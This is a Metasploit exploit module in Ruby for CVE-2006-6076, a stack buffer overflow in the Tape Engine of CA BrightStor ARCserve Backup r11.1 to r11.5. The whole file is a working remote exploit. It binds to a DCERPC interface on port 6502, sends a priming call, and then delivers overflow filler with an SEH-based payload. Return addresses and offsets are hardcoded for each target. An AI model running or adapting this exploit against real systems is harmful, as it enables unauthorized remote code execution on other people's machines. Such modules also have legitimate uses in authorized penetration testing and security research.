##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CA BrightStor ARCserve Tape Engine Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
        r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
        the buffer and execute arbitrary code.
      },
      'Author'         => [ 'MC', 'aushack' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-6076' ],
          [ 'OSVDB', '30637' ],
          [ 'BID', '21221' ],
          [ 'EDB', '3086' ]
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
          'StackAdjustment' => -9500,
        },
      'Platform' => 'win',
      'Targets'  =>
          [
            [ 'BrightStor ARCserve r11.1', { 'Ret' => 0x2380cdc7, 'Offset' => 1158 } ], #p/p/r cheyprod.dll 07/21/2004
            [ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5, 'Offset' => 1132 } ], #p/p/r cheyprod.dll ??/??/????
          ],
      'DisclosureDate' => 'Nov 21 2006',
      'DefaultTarget'  => 1))

    register_options([ Opt::RPORT(6502) ])
  end

  def exploit
    connect

    handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
    print_status("Binding to #{handle} ...")

    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    request =  "\x00\x04\x08\x0c\x02\x00\x00\x00\x00\x00"
    request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

    dcerpc.call(43, request)

    filler = "\x10\x09\xf9\x77" + rand_text_english(target['Offset'])
    seh    = generate_seh_payload(target.ret)
    sploit = filler + seh

    print_status("Trying target #{target.name}...")

      begin
        dcerpc_call(38, sploit)
        rescue Rex::Proto::DCERPC::Exceptions::NoResponse
      end

    handler
    disconnect
  end
end
